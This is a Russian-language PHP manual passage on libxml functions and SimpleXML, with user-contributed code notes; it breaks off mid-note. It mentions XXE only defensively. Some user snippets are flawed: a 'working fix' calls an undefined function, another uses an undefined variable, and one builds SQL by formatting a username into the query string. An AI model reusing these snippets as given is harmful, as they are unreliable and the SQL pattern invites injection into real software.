libxml_get_external_entity_loader — Получает текущий внешний загрузчик сущностей

Описание

libxml_get_external_entity_loader(): ?callable

Получает внешний загрузчик сущностей, ранее установленный с помощью функции libxml_set_external_entity_loader().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Внешний загрузчик сущностей, ранее установленный с помощью функции libxml_set_external_entity_loader(). Если эта функция никогда не вызывалась или если она была вызвана с null, будет возвращён null.

Смотрите также

  • libxml_set_external_entity_loader() - Изменение загрузчика по умолчанию для внешних объектов

User Contributed Notes

There are no user contributed notes for this page.


Извлечение последней ошибки из libxml

  • « libxml_get_external_entity_loader
  • libxml_set_external_entity_loader »
  • PHP Manual
  • Функции libxml
  • Извлечение последней ошибки из libxml

libxml_get_last_error

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

libxml_get_last_error — Извлечение последней ошибки из libxml

Описание

libxml_get_last_error(): LibXMLError|false

Извлечение последней ошибки из libxml.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект LibXMLError, если в буфере есть ошибки, либо false в противном случае.

Смотрите также

  • libxml_get_errors() - Получение массива произошедших ошибок
  • libxml_clear_errors() - Очистка буфера ошибок libxml

User Contributed Notes

There are no user contributed notes for this page.


Изменение загрузчика по умолчанию для внешних объектов

  • « libxml_get_last_error
  • libxml_set_streams_context »
  • PHP Manual
  • Функции libxml
  • Изменение загрузчика по умолчанию для внешних объектов

libxml_set_external_entity_loader

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

libxml_set_external_entity_loader — Изменение загрузчика по умолчанию для внешних объектов

Описание

libxml_set_external_entity_loader(?callable $resolver_function): bool

Изменение загрузчика по умолчанию для внешних объектов. Можно использовать для подавления расширения произвольных внешних сущностей, чтобы избежать XXE-атак, даже если для соответствующей операции установлено значение LIBXML_NOENT. Обычно это лучше, чем вызов libxml_disable_entity_loader().

Список параметров

resolver_function

Callback-функция (callable) со следующей сигнатурой:

resolver(?string $public_id, string $system_id, array $context): resource|string|null
public_id
Публичный идентификатор.
system_id
Системный идентификатор.
context
Массив из четырёх элементов: "directory", "intSubName", "extSubURI" и "extSubSystem".
Эта callback-функция должна возвращать ресурс (resource) или строку (string) из которой можно открыть ресурс. Если возвращается null, разрешение ссылки на сущность завершится ошибкой.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Пример использования libxml_set_external_entity_loader()

<?php
$xml = <<<XML
<!DOCTYPE foo PUBLIC "-//FOO/BAR" "http://example.com/foobar">
<foo>bar</foo>
XML;

$dtd = <<<DTD
<!ELEMENT foo (#PCDATA)>
DTD;

libxml_set_external_entity_loader(
function ($public, $system, $context) use($dtd) {
var_dump($public);
var_dump($system);
var_dump($context);
$f = fopen("php://temp", "r+");
fwrite($f, $dtd);
rewind($f);
return $f;
}
);

$dd = new DOMDocument;
$r = $dd->loadXML($xml);

var_dump($dd->validate());
?>

Результат выполнения приведённого примера:

string(10) "-//FOO/BAR"
string(25) "http://example.com/foobar"
array(4) {
    ["directory"]    => NULL
    ["intSubName"]   => NULL
    ["extSubURI"]    => NULL
    ["extSubSystem"] => NULL
}
bool(true)

Смотрите также

  • libxml_disable_entity_loader() - Отключение возможности загрузки сущностей из внешних источников
  • libxml_get_external_entity_loader() - Получает текущий внешний загрузчик сущностей

User Contributed Notes

There are no user contributed notes for this page.


Установка контекста потоков для следующей загрузки или записи документа посредством libxml

  • « libxml_set_external_entity_loader
  • libxml_use_internal_errors »
  • PHP Manual
  • Функции libxml
  • Установка контекста потоков для следующей загрузки или записи документа посредством libxml

libxml_set_streams_context

(PHP 5, PHP 7, PHP 8)

libxml_set_streams_context — Установка контекста потоков для следующей загрузки или записи документа посредством libxml

Описание

libxml_set_streams_context(resource $context): void

Установка контекста потока для следующей загрузки или записи документа посредством libxml.

Список параметров

context

Ресурс контекста потока (созданный функцией stream_context_create())

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования libxml_set_streams_context()

<?php

$opts = array(
'http' => array(
'user_agent' => 'PHP libxml agent',
)
);

$context = stream_context_create($opts);
libxml_set_streams_context($context);

// загрузить файл через HTTP
$doc = DOMDocument::load('http://www.example.com/file.xml');

?>

Смотрите также

  • stream_context_create() - Создаёт контекст потока

User Contributed Notes

There are no user contributed notes for this page.


Отключение ошибок libxml и передача полномочий по выборке и обработке информации об ошибках пользователю

  • « libxml_set_streams_context
  • SimpleXML »
  • PHP Manual
  • Функции libxml
  • Отключение ошибок libxml и передача полномочий по выборке и обработке информации об ошибках пользователю

libxml_use_internal_errors

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

libxml_use_internal_errors — Отключение ошибок libxml и передача полномочий по выборке и обработке информации об ошибках пользователю

Описание

libxml_use_internal_errors(?bool $use_errors = null): bool

libxml_use_internal_errors() позволяет отключить стандартные ошибки libxml и включить пользовательскую обработку ошибок.

Список параметров

use_errors

Включает (true) пользовательскую обработку ошибок или отключает её (false). Отключение также очищает все текущие ошибки libxml.

Возвращаемые значения

Эта функция возвращает предыдущее значение параметра use_errors.

Список изменений

Версия | Описание
8.0.0 | use_errors теперь допускает значение null. Ранее значением по умолчанию было false.

Примеры

Пример #1 Пример использования libxml_use_internal_errors()

Этот пример демонстрирует основное использование ошибок libxml и значение, которое возвращает эта функция.

<?php

// включение обработки ошибок пользователем
var_dump(libxml_use_internal_errors(true));

// загрузка документа
$doc = new DOMDocument;

if (!$doc->load('file.xml')) {
foreach (libxml_get_errors() as $error) {
// обработка ошибок здесь
}

libxml_clear_errors();
}

?>

Результат выполнения приведённого примера:

bool(false)

Смотрите также

  • libxml_clear_errors() - Очистка буфера ошибок libxml
  • libxml_get_errors() - Получение массива произошедших ошибок

User Contributed Notes

marcovtwout 07-May-2013 01:05
When using libxml_use_internal_errors(true), and perform a possibly memory intensive operation like simplexml_load_string() next, you might end up with a blank screen and no php error logged because the error message been suppressed.
james at dunmore dot me dot uk 21-Aug-2008 03:03
We use a custom error handler using  set_error_handler()  I found that after I call

libxml_use_internal_errors(false);

It resets my error_handler - not sure if this is a bug or not, I will report it as a bug - however, I needed to repeat my call to set_error_handler

(did confuse me for a while)
B Crawford 03-Oct-2007 06:22
When using this funtion, be sure to clear your internal error buffer. If you dn't and you are using this in a long running process, you may find that all your memory is used up.


SimpleXML

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • Основы работы с модулем SimpleXML
    • Работа с ошибками XML
  • SimpleXMLElement — Класс SimpleXMLElement
    • SimpleXMLElement::addAttribute — Добавляет атрибут к SimpleXML-элементу
    • SimpleXMLElement::addChild — Добавляет дочерний элемент к узлу XML
    • SimpleXMLElement::asXML — Возвращает сформированный XML-документ в виде строки на основе элемента SimpleXML
    • SimpleXMLElement::attributes — Возвращает атрибуты элемента
    • SimpleXMLElement::children — Находит дочерние элементы данного узла
    • SimpleXMLElement::__construct — Создаёт новый объект SimpleXMLElement
    • SimpleXMLElement::count — Подсчитывает количество дочерних элементов у текущего элемента
    • SimpleXMLElement::current — Возвращает текущий элемент
    • SimpleXMLElement::getDocNamespaces — Возвращает пространства имён, объявленные в документе
    • SimpleXMLElement::getName — Получает имя элемента XML
    • SimpleXMLElement::getNamespaces — Возвращает пространства имён, используемые в документе
    • SimpleXMLElement::getChildren — Возвращает дочерние элементы текущего элемента
    • SimpleXMLElement::hasChildren — Проверяет, имеет ли текущий элемент дочерние элементы
    • SimpleXMLElement::key — Возвращает имя XML-тега текущего элемента
    • SimpleXMLElement::next — Переход к следующему элементу
    • SimpleXMLElement::registerXPathNamespace — Создаёт префикс/пространство имён контекста для следующего запроса XPath
    • SimpleXMLElement::rewind — Перемотка к первому элементу
    • SimpleXMLElement::saveXML — Псевдоним SimpleXMLElement::asXML
    • SimpleXMLElement::__toString — Возвращает содержимое строки
    • SimpleXMLElement::valid — Проверяет, является ли текущий элемент корректным
    • SimpleXMLElement::xpath — Запускает запрос XPath к XML-данным
  • SimpleXMLIterator — Класс SimpleXMLIterator
  • Функции SimpleXML
    • simplexml_import_dom — Получает объект класса SimpleXMLElement из узла DOM
    • simplexml_load_file — Интерпретирует XML-файл в объект
    • simplexml_load_string — Интерпретирует строку с XML в объект

User Contributed Notes

reibeltel at gmail dot com 16-Feb-2022 05:53
I rewrite the function to convert xml object to array because my case is more simple:

function xmlObjToArr($obj) {

    $array = [];
    foreach($obj as $item){
        $row = [];
        foreach($item as $key => $val){
            $col = array(
                (string)$key => (string)$val
            );
            array_push($row,$col);

        }
        array_push($array,$row);
    }

    return $array;
}
Anonymous 25-Dec-2019 09:10
<?php
function array_to_xml( $array, $xml = null ) {
  if ( is_array( $array ) ) {
    foreach( $array as $key => $value ) {
      if ( is_int( $key ) ) {
        if ( $key == 0 ) {
          $node = $xml;
        } else {
          $parent = $xml->xpath( ".." )[0];
          $node = $parent->addChild( $xml->getName() );
        }
      } else {
        $node = $xml->addChild( $key );
      }
      array_to_xml( $value, $node );
    }
  } else {
    $xml[0] = $array;
  }
}

$xml = new SimpleXMLElement("<?xml version=\"1.0\" encoding=\"utf-8\"?><root></root>" );

array_to_xml( $array, $xml );
echo $xml->asXML();
?>
charles dot a dot dacosta at gmail dot com 15-Nov-2016 09:49
I had to do the following to catch the fact that my simplexml_load_string call was not working right (it was returning empty objects).

$statistik = simplexml_load_string($record,"SimpleXMLElement",LIBXML_NSCLEAN,$ns,TRUE);

    if (($statistik === FALSE) or ($statistik === NULL) or empty($statistik))
    {
        echo "$ctr) STATISTIK ERROR---\n";
        var_dump($statistik);
        echo "\n\n";
        echo "Failed loading XML\n";
        foreach(libxml_get_errors() as $error)
        {
            echo "\n", $error->message;
        }
        die();
    }

before I put the check for "empty()" I was not catching the error.
oleg at mastak dot fi 30-Mar-2016 09:57
Two lines xml2array:

<?php

$xml = simplexml_load_string($xmlstring);
$array = (array) $xml;

?>
Serge 26-Feb-2015 10:58
XML data values should not contain "&" and that need to be replaced by html-entity "&amp;"

You can use this code to replace lonely "&" to "&amp;":

<?php
$sText = preg_replace('#&(?![a-z]{1,6};)#i', '&amp;', $sText);
?>

This will replace just "&" into "&amp;" but dont touches other html-entities like "&nbsp;", "&lt;" etc and, of course, "&amp;".

P.S. In regexp max length is 6 becouse I found that is the maximum length of possible html entity using this code:
<?php
max(array_map('strlen', array_values(get_html_translation_table(HTML_ENTITIES, ENT_QUOTES | ENT_HTML5)))) - 2
?>
minus two is for first "&" and last ";" in an any html entity.
Tim Adam Perez 23-Jan-2014 08:22
XML to Array in a single line:
$array = (array) simplexml_load_string($xml);

Enjoy!
maikel at yuluma dot com 17-Oct-2013 09:02
In reply to  soloman at textgrid dot com,

2 line XML2Array:

$xml = simplexml_load_string($file);
$array = (array)$xml;
dkrnl at yandex dot ru 30-Sep-2013 02:57
Wrapper XMLReader class, for simple SAX-reading huge xml:
https://github.com/dkrnl/SimpleXMLReader

Usage example: http://github.com/dkrnl/SimpleXMLReader/blob/master/examples/example1.php

<?php

/**
 * Simple XML Reader
 *
 * @license Public Domain
 * @author Dmitry Pyatkov(aka dkrnl) <dkrnl@yandex.ru>
 * @url http://github.com/dkrnl/SimpleXMLReader
 */
class SimpleXMLReader extends XMLReader
{

    /**
     * Callbacks
     *
     * @var array
     */
    protected $callback = array();

    /**
     * Add node callback
     *
     * @param  string   $name
     * @param  callback $callback
     * @param  integer  $nodeType
     * @return SimpleXMLReader
     */
    public function registerCallback($name, $callback, $nodeType = XMLREADER::ELEMENT)
    {
        if (isset($this->callback[$nodeType][$name])) {
            throw new Exception("Already exists callback $name($nodeType).");
        }
        if (!is_callable($callback)) {
            throw new Exception("Already exists parser callback $name($nodeType).");
        }
        $this->callback[$nodeType][$name] = $callback;
        return $this;
    }

    /**
     * Remove node callback
     *
     * @param  string  $name
     * @param  integer $nodeType
     * @return SimpleXMLReader
     */
    public function unRegisterCallback($name, $nodeType = XMLREADER::ELEMENT)
    {
        if (!isset($this->callback[$nodeType][$name])) {
            throw new Exception("Unknow parser callback $name($nodeType).");
        }
        unset($this->callback[$nodeType][$name]);
        return $this;
    }

    /**
     * Run parser
     *
     * @return void
     */
    public function parse()
    {
        if (empty($this->callback)) {
            throw new Exception("Empty parser callback.");
        }
        $continue = true;
        while ($continue && $this->read()) {
            if (isset($this->callback[$this->nodeType][$this->name])) {
                $continue = call_user_func($this->callback[$this->nodeType][$this->name], $this);
            }
        }
    }

    /**
     * Run XPath query on current node
     *
     * @param  string $path
     * @param  string $version
     * @param  string $encoding
     * @return array(SimpleXMLElement)
     */
    public function expandXpath($path, $version = "1.0", $encoding = "UTF-8")
    {
        return $this->expandSimpleXml($version, $encoding)->xpath($path);
    }

    /**
     * Expand current node to string
     *
     * @param  string $version
     * @param  string $encoding
     * @return SimpleXMLElement
     */
    public function expandString($version = "1.0", $encoding = "UTF-8")
    {
        return $this->expandSimpleXml($version, $encoding)->asXML();
    }

    /**
     * Expand current node to SimpleXMLElement
     *
     * @param  string $version
     * @param  string $encoding
     * @param  string $className
     * @return SimpleXMLElement
     */
    public function expandSimpleXml($version = "1.0", $encoding = "UTF-8", $className = null)
    {
        $element = $this->expand();
        $document = new DomDocument($version, $encoding);
        $node = $document->importNode($element, true);
        $document->appendChild($node);
        return simplexml_import_dom($node, $className);
    }

    /**
     * Expand current node to DomDocument
     *
     * @param  string $version
     * @param  string $encoding
     * @return DomDocument
     */
    public function expandDomDocument($version = "1.0", $encoding = "UTF-8")
    {
        $element = $this->expand();
        $document = new DomDocument($version, $encoding);
        $node = $document->importNode($element, true);
        $document->appendChild($node);
        return $document;
    }

}
?>
whyme 28-Dec-2012 09:55
Simple means simple.  If you know the structure and just want the value of a tag:

<?php
$xml = simplexml_load_file($xmlfile);
print $xml->City->Street->Address->HouseColor;
?>

Warning, numbers can come out as strings, empty elements like <HouseColor></HouseColor> come out as array(0)
Laurent Vervisch 24-Jun-2012 10:57
Here is an example of an easy mapping between xml and classes defined by user.

<?php
class XmlClass extends SimpleXMLElement
{
    /**
     * Returns this object as an instance of the given class.
     */
    public function asInstanceOf($class_name)
    {
        // should check that class_name is valid

        return simplexml_import_dom(dom_import_simplexml($this), $class_name);
    }

    public function __call($name, array $arguments)
    {
        echo "magic __call called for method $name on instance of ".get_class()."\n";

        // class could be mapped according $this->getName()
        $class_name = 'Test';

        $instance = $this->asInstanceOf($class_name);
        return call_user_func_array(array($instance, $name), $arguments);
    }
}

class Test extends XmlClass
{
    public function setValue($string)
    {
        $this->{0} = $string;
    }
}

$xml = new XmlClass('<example><test/></example>');
$test = $xml->test->asInstanceOf('Test');
echo get_class($xml->test), "\n";
echo get_class($test), "\n";

$test->setValue('value set directly by instance of Test');
echo (string)$xml->test, "\n";
echo (string)$test, "\n";

$xml->test->setValue('value set by instance of XmlClass and magic __call');
echo (string)$xml->test, "\n";
echo (string)$test, "\n";
?>

XmlClass
Test
value set directly by instance of Test
value set directly by instance of Test
magic __call called for method setValue on instance of XmlClass
value set by instance of XmlClass and magic __call
value set by instance of XmlClass and magic __call
xaviered at gmail dot com 17-May-2012 07:00
Here is a recursive function that will convert a given SimpleXMLElement object into an array, preserving namespaces and attributes.

<?php
function xmlObjToArr($obj) {
        $namespace = $obj->getDocNamespaces(true);
        $namespace[NULL] = NULL;

        $children = array();
        $attributes = array();
        $name = strtolower((string)$obj->getName());

        $text = trim((string)$obj);
        if( strlen($text) <= 0 ) {
            $text = NULL;
        }

        // get info for all namespaces
        if(is_object($obj)) {
            foreach( $namespace as $ns=>$nsUrl ) {
                // atributes
                $objAttributes = $obj->attributes($ns, true);
                foreach( $objAttributes as $attributeName => $attributeValue ) {
                    $attribName = strtolower(trim((string)$attributeName));
                    $attribVal = trim((string)$attributeValue);
                    if (!empty($ns)) {
                        $attribName = $ns . ':' . $attribName;
                    }
                    $attributes[$attribName] = $attribVal;
                }

                // children
                $objChildren = $obj->children($ns, true);
                foreach( $objChildren as $childName=>$child ) {
                    $childName = strtolower((string)$childName);
                    if( !empty($ns) ) {
                        $childName = $ns.':'.$childName;
                    }
                    $children[$childName][] = xmlObjToArr($child);
                }
            }
        }

        return array(
            'name'=>$name,
            'text'=>$text,
            'attributes'=>$attributes,
            'children'=>$children
        );
    }
?>
thedoc8786 at gmail dot com 23-Mar-2012 07:42
FAIL! This function works better than the one I posted below:

<?php
    function toArray($xml) {
        $array = json_decode(json_encode($xml), TRUE);

        foreach ( array_slice($array, 0) as $key => $value ) {
            if ( empty($value) ) $array[$key] = NULL;
            elseif ( is_array($value) ) $array[$key] = toArray($value);
        }

        return $array;
    }
thedoc8786 at gmail dot com 23-Mar-2012 04:19
I know it is over-done, but the following is a super-short example of a XML to Array conversion function (recursive):

<?php
    function toArray(SimpleXMLElement $xml) {
        $array = (array)$xml;

        foreach ( array_slice($array, 0) as $key => $value ) {
            if ( $value instanceof SimpleXMLElement ) {
                $array[$key] = empty($value) ? NULL : toArray($value);
            }
        }
        return $array;
    }
xananax at yelostudio dot com 07-Sep-2011 06:25
None of the XML2Array functions that I found satisfied me completely; Their results did not always fit the project I was working on, and I found none that would account for repeating XML elements (such as
<fields><field/><field/><field/></fields>)
So I rolled out my own; hope it helps someone.
<?php
/**
 * Converts a simpleXML element into an array. Preserves attributes.<br/>
 * You can choose to get your elements either flattened, or stored in a custom
 * index that you define.<br/>
 * For example, for a given element
 * <code>
 * <field name="someName" type="someType"/>
 * </code>
 * <br>
 * if you choose to flatten attributes, you would get:
 * <code>
 * $array['field']['name'] = 'someName';
 * $array['field']['type'] = 'someType';
 * </code>
 * If you choose not to flatten, you get:
 * <code>
 * $array['field']['@attributes']['name'] = 'someName';
 * </code>
 * <br>__________________________________________________________<br>
 * Repeating fields are stored in indexed arrays. so for a markup such as:
 * <code>
 * <parent>
 *     <child>a</child>
 *     <child>b</child>
 *     <child>c</child>
 * ...
 * </code>
 * you array would be:
 * <code>
 * $array['parent']['child'][0] = 'a';
 * $array['parent']['child'][1] = 'b';
 * ...And so on.
 * </code>
 * @param simpleXMLElement    $xml            the XML to convert
 * @param boolean|string    $attributesKey    if you pass TRUE, all values will be
 *                                            stored under an '@attributes' index.
 *                                            Note that you can also pass a string
 *                                            to change the default index.<br/>
 *                                            defaults to null.
 * @param boolean|string    $childrenKey    if you pass TRUE, all values will be
 *                                            stored under an '@children' index.
 *                                            Note that you can also pass a string
 *                                            to change the default index.<br/>
 *                                            defaults to null.
 * @param boolean|string    $valueKey        if you pass TRUE, all values will be
 *                                            stored under an '@values' index. Note
 *                                            that you can also pass a string to
 *                                            change the default index.<br/>
 *                                            defaults to null.
 * @return array the resulting array.
 */
function simpleXMLToArray(SimpleXMLElement $xml,$attributesKey=null,$childrenKey=null,$valueKey=null){

    if($childrenKey && !is_string($childrenKey)){$childrenKey = '@children';}
    if($attributesKey && !is_string($attributesKey)){$attributesKey = '@attributes';}
    if($valueKey && !is_string($valueKey)){$valueKey = '@values';}

    $return = array();
    $name = $xml->getName();
    $_value = trim((string)$xml);
    if(!strlen($_value)){$_value = null;};

    if($_value!==null){
        if($valueKey){$return[$valueKey] = $_value;}
        else{$return = $_value;}
    }

    $children = array();
    $first = true;
    foreach($xml->children() as $elementName => $child){
        $value = simpleXMLToArray($child,$attributesKey, $childrenKey,$valueKey);
        if(isset($children[$elementName])){
            if(is_array($children[$elementName])){
                if($first){
                    $temp = $children[$elementName];
                    unset($children[$elementName]);
                    $children[$elementName][] = $temp;
                    $first=false;
                }
                $children[$elementName][] = $value;
            }else{
                $children[$elementName] = array($children[$elementName],$value);
            }
        }
        else{
            $children[$elementName] = $value;
        }
    }
    if($children){
        if($childrenKey){$return[$childrenKey] = $children;}
        else{$return = array_merge($return,$children);}
    }

    $attributes = array();
    foreach($xml->attributes() as $name=>$value){
        $attributes[$name] = trim($value);
    }
    if($attributes){
        if($attributesKey){$return[$attributesKey] = $attributes;}
        else{$return = array_merge($return, $attributes);}
    }

    return $return;
}
?>
soloman at textgrid dot com 09-Aug-2011 05:06
Three line xml2array:

<?php

$xml = simplexml_load_string($xmlstring);
$json = json_encode($xml);
$array = json_decode($json,TRUE);

?>

Ta da!
streaver91 at gmail dot com 04-May-2011 08:49
The BIGGEST differece between an XML and a PHP array is that in an XML file, the name of elements can be the same even if they are siblings, eg. "<pa><ch /><ch /><ch /></pa>", while in an PHP array, the key of which must be different.

I think the array structure developed by svdmeer can fit for XML, and fits well.

here is an example array converted from an xml file:
array(
"@tag"=>"name",
"@attr"=>array(
    "id"=>"1","class"=>"2")
"@text"=>"some text",
)

or if it has childrens, that can be:

array(
"@tag"=>"name",
"@attr"=>array(
    "id"=>"1","class"=>"2")
"@items"=>array(
    0=>array(
        "@tag"=>"name","@text"=>"some text"
    )
)

Also, I wrote a function that can change that array back to XML.

<?php
function array2XML($arr,$root) {
$xml = new SimpleXMLElement("<?xml version=\"1.0\" encoding=\"utf-8\" ?><{$root}></{$root}>");
$f = create_function('$f,$c,$a','
        foreach($a as $v) {
            if(isset($v["@text"])) {
                $ch = $c->addChild($v["@tag"],$v["@text"]);
            } else {
                $ch = $c->addChild($v["@tag"]);
                if(isset($v["@items"])) {
                    $f($f,$ch,$v["@items"]);
                }
            }
            if(isset($v["@attr"])) {
                foreach($v["@attr"] as $attr => $val) {
                    $ch->addAttribute($attr,$val);
                }
            }
        }');
$f($f,$xml,$arr);
return $xml->asXML();
}
?>
phil at dier dot us 19-Jan-2011 11:37
Here's a function I came up with to convert an associative array to XML.  Works for multidimensional arrays as well.

<?php
function assocArrayToXML($root_element_name,$ar)
{
    $xml = new SimpleXMLElement("<?xml version=\"1.0\"?><{$root_element_name}></{$root_element_name}>");
    $f = create_function('$f,$c,$a','
            foreach($a as $k=>$v) {
                if(is_array($v)) {
                    $ch=$c->addChild($k);
                    $f($f,$ch,$v);
                } else {
                    $c->addChild($k,$v);
                }
            }');
    $f($f,$xml,$ar);
    return $xml->asXML();
}
?>
philipp at strazny dot com 23-Nov-2010 05:33
Here's a quick way to dump the nodeValues from SimpleXML into an array using the path to each nodeValue as key. The paths are compatible with e.g. DOMXPath. I use this when I need to update values externally (i.e. in code that doesn't know about the underlying xml). Then I use DOMXPath to find the node containing the original value and update it.

<?php
function XMLToArrayFlat($xml, &$return, $path='', $root=false)
{
    $children = array();
    if ($xml instanceof SimpleXMLElement) {
        $children = $xml->children();
        if ($root){ // we're at root
            $path .= '/'.$xml->getName();
        }
    }
    if ( count($children) == 0 ){
        $return[$path] = (string)$xml;
        return;
    }
    $seen=array();
    foreach ($children as $child => $value) {
        $childname = ($child instanceof SimpleXMLElement)?$child->getName():$child;
        if ( !isset($seen[$childname])){
            $seen[$childname]=0;
        }
        $seen[$childname]++;
        XMLToArrayFlat($value, $return, $path.'/'.$child.'['.$seen[$childname].']');
    }
}
?>

Use like this:

<?php
$xml = simplexml_load_string(...some xml string...);
$xmlarray = array(); // this will hold the flattened data
XMLToArrayFlat($xml, $xmlarray, '', true);
?>

You can also pull multiple files in one array:

<?php
foreach($files as $file){
    $xml = simplexml_load_file($file);
    XMLToArrayFlat($xml, $xmlarray, $file.':', true);
}
?>
The respective filename/path is thus prefixed to each key.
kristof at viewranger dot com 18-Nov-2010 05:14
If you tried to load an XML file with this, but the CDATA parts were not loaded for some reason, is because you should do it this way:

$xml = simplexml_load_file($this->filename, 'SimpleXMLElement', LIBXML_NOCDATA);

This converts CDATA to String in the returning object.
sherwinterunez at yahoo dot com 01-Sep-2010 11:15
<?php

// Sherwin R. Terunez
//
// This is my own version of XML Object to Array
//

function amstore_xmlobj2array($obj, $level=0) {

    $items = array();

    if(!is_object($obj)) return $items;

    $child = (array)$obj;

    if(sizeof($child)>1) {
        foreach($child as $aa=>$bb) {
            if(is_array($bb)) {
                foreach($bb as $ee=>$ff) {
                    if(!is_object($ff)) {
                        $items[$aa][$ee] = $ff;
                    } else
                    if(get_class($ff)=='SimpleXMLElement') {
                        $items[$aa][$ee] = amstore_xmlobj2array($ff,$level+1);
                    }
                }
            } else
            if(!is_object($bb)) {
                $items[$aa] = $bb;
            } else
            if(get_class($bb)=='SimpleXMLElement') {
                $items[$aa] = amstore_xmlobj2array($bb,$level+1);
            }
        }
    } else
    if(sizeof($child)>0) {
        foreach($child as $aa=>$bb) {
            if(!is_array($bb)&&!is_object($bb)) {
                $items[$aa] = $bb;
            } else
            if(is_object($bb)) {
                $items[$aa] = amstore_xmlobj2array($bb,$level+1);
            } else {
                foreach($bb as $cc=>$dd) {
                    if(!is_object($dd)) {
                        $items[$obj->getName()][$cc] = $dd;
                    } else
                    if(get_class($dd)=='SimpleXMLElement') {
                        $items[$obj->getName()][$cc] = amstore_xmlobj2array($dd,$level+1);
                    }
                }
            }
        }
    }

    return $items;
}

?>
michael dot allen at emp dot shentel dot com 15-Apr-2010 11:06
Here is a very robust SimpleXML parser.  Can be used to load files, strings, or DOM into SimpleXML, or can be used to perform the reverse when handed SimpleXML.

<?php
/**
 * XMLParser Class File
 *
 * This class loads an XML document into a SimpleXMLElement that can
 * be processed by the calling application.  This accepts xml strings,
 * files, and DOM objects.  It can also perform the reverse, converting
 * an SimpleXMLElement back into a string, file, or DOM object.
 */
class XMLParser {
    /**
     * While parsing, parse the supplied XML document.
     *
     * Sets up a SimpleXMLElement object based on success of parsing
     * the XML document file.
     *
     * @param string $doc the xml document location path
     * @return object
     */
    public static function loadFile($doc) {
        if (file_exists($doc)) {
            return simplexml_load_file($doc);
        } else {
            throw new Exception ("Unable to load the xml file " .
                                 "using: \"$doc\"", E_USER_ERROR);
        }
    }
    /**
     * While parsing, parse the supplied XML string.
     *
     * Sets up a SimpleXMLElement object based on success of parsing
     * the XML string.
     *
     * @param string $string the xml document string
     * @return object
     */
    public static function loadString($string) {
        if (isset($string)) {
            return simplexml_load_string($string);
        } else {
            throw new Exception ("Unable to load the xml string " .
                                 "using: \"$string\"", E_USER_ERROR);
        }
    }
    /**
     * While parsing, parse the supplied XML DOM node.
     *
     * Sets up a SimpleXMLElement object based on success of parsing
     * the XML DOM node.
     *
     * @param object $dom the xml DOM node
     * @return object
     */
    public static function loadDOM($dom) {
        if (isset($dom)) {
            return simplexml_import_dom($dom);
        } else {
            throw new Exception ("Unable to load the xml DOM node " .
                                 "using: \"$dom\"", E_USER_ERROR);
        }
    }
    /**
     * While parsing, parse the SimpleXMLElement.
     *
     * Sets up a XML file, string, or DOM object based on success of
     * parsing the XML DOM node.
     *
     * @param object $path the xml document location path
     * @param string $type the return type (string, file, dom)
     * @param object $simplexml the simple xml element
     * @return mixed
     */
    public static function loadSXML($simplexml, $type, $path) {
        if (isset($simplexml) && isset($type)) {
        switch ($type) {
            case 'string':
                return $simplexml->asXML();
            break;
            case 'file':
                if (isset($path)) {
                    return $simplexml->asXML($path);
                } else {
                    throw new Exception ("Unable to create the XML file. Path is missing or" .
                                         "is invalid: \"$path\"", E_USER_ERROR);
                }
            break;
            case 'dom':
                return dom_import_simplexml($simplexml);
            break;
        }
        } else {
            throw new Exception ("Unable to load the simple XML element " .
                                 "using: \"$simplexml\"", E_USER_ERROR);
        }
    }
}
?>
emmanuel 17-Feb-2010 10:21
dynamic sql in php using xml:

test.xml:
<?xml version="1.0" encoding="UTF-8"?>
<sql>
    <statement>
        SELECT * FROM USERS
        <call criteria="byId">WHERE id = %d</call>
        <call criteria="byUsername">WHERE username = "%s"</call>;
    </statement>
</sql>

index.php:
<?php
function callMe($param) {
    $search = array('byUsername' => 'dynsql');

    if (isset($search[$param[1]])) {
        return sprintf($param[2], $search[$param[1]]);
    }

    return "";
}

$xml = simplexml_load_file("test.xml");
$string = $xml->statement->asXML();
$string = preg_replace_callback('/<call criteria="(\w+)">(.*?)<\/call>/', 'callMe', $string);
$node = simplexml_load_string($string);
echo $node;
?>

obviously, this example can be improved [in your own code.]
mahmutta at gmail dot com 20-Jan-2010 12:58
while using simple xml and get double or float int value from xml object for using math operations (+ * - / ) some errors happens on the operation, this is because of simple xml returns everythings to objects.
exmple;

<?php

$name = "somestring";
$size = 11.45;
$xml = '
<xml>
 <name>somestring</name>
 <size>11.45</size>
</xml>';

$xmlget = simplexml_load_string($xml)

echo $xml->size*2;    // 20  its false
// ($xml->size is an object (int)11 and  (45) )

// this is true
echo $size*2;            // 22.90
echo (float)$size*2;   // 22.90
?>
antoine dot rabanes at gmail dot com 16-Oct-2009 07:22
if for some reasons you need the string value instead of the simpleXML Object you can cast the return value as a string.

exemple:

<?php
$all_api_call = simplexml_load_file($url);
$all_api = array();
$all_api = $all_api_call->result;
$list_all_api_name = array();
$i = 0;
foreach ($all_api->children() as $funcky_function)
{
    $string_tmp = (string )$funcky_function->function;
    $list_all_api_name[$i++] = $putain;
}
?>

...
walter 12-Jun-2009 07:58
Working fix for the infamous SimpleXML + memcache bug.

Improves code at http://tinyurl.com/bmoon-simplexml to actually work for arbitrary-depth structures.  (Because neither the function nor the json_decode(json_encode($obj)) hack listed there worked for me.)

There's probably some superfluous code in here that could be improved on -- but it works!

<?php
 # convert a structure that may include objects to a pure
 # array-based structure (that can be stored in memcache)
 #  ... includes support for simplexml!
 # (nb: may have problems with infinite recursive structs)
 function enforce_array($obj) {
  $array = (array)$obj;
  if(empty($array)) {
   $array = '';
  }
  else {
   foreach($array as $key=>$value) {
    if(!is_scalar($value)) {
     if(is_a($value,'SimpleXMLElement')) {
      $tmp = memcache_objects_to_array($value);
      if(!is_array($tmp)) {
       $tmp = ''.$value;
      }
      $array[$key] = $tmp;
     }
     else {
      $array[$key] = enforce_array($value);
     }
    }
    else {
     $array[$key] = $value;
    }
   }
  }
  return $array;
 }
?>
mail at kleineedv dot de 28-Apr-2009 12:37
I had a problem with simplexml reading nodes from an xml file. It always return an SimpleXML-Object but not the text inside the node.

Example:
<?xml version="1.0" encoding="UTF-8"?>
